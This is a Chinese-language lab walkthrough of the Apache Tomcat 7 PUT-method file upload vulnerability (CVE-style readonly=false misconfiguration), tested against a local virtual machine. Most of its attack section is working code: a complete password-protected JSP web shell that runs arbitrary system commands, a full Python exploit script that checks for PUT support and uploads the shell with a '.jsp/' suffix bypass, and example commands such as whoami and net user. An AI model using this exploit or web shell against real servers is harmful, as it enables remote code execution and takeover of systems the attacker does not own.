一.影响版本
Apache Tomcat 7.0.0 - 7.0.81
二.实验环境
1.一台windows 7虚拟机，ip:192.168.86.175
2.jdk-8u91-windows-i586
下载链接:http://www.oracle.com/technetwork/java/javase/downloads/index.html
3.Apache Tomcat 7.0.75
三.环境搭建
1.安装Tomcat
这里小伙子是用的exe一件安装的，一个地方需要设置jdk安装位置
然后其他的就next就可以了
2.访问8080端口查看是否安装成功
3.初始化参数
Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数，需要手工添加，默认配置条件下不受此漏洞影响。所以需要修改下参数，来到Tomcat 7.0\conf下，编辑/web.xml文件，找到途中这个位置手动添加
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
改完后记得重启Tomcat服务
点击任务管理器——服务——进入服务——点击Tomcat服务右键重启
四.开始攻击了
1.payload1:测试任意文件上传
利用burpsuite 进行抓包
发送到repeater,修改GET请求为PUT，修改名字,下面添加jsp的shell
shell:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
访问文件，看是否上传成功
执行远程命令,?&pwd=023&cmd=whoami
2.payload2:利用i春秋大佬的脚本
poc源代码:
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
1.运行POC脚本,python DarkHQ.py 192.168.86.175:8080
直接生成一个shell文件
2.进行访问，并执行命令,?&pwd=023&cmd=net user
感谢各位大佬赏脸，有什么不足的地方请多多指教，欢迎意见轰炸，谢谢！！！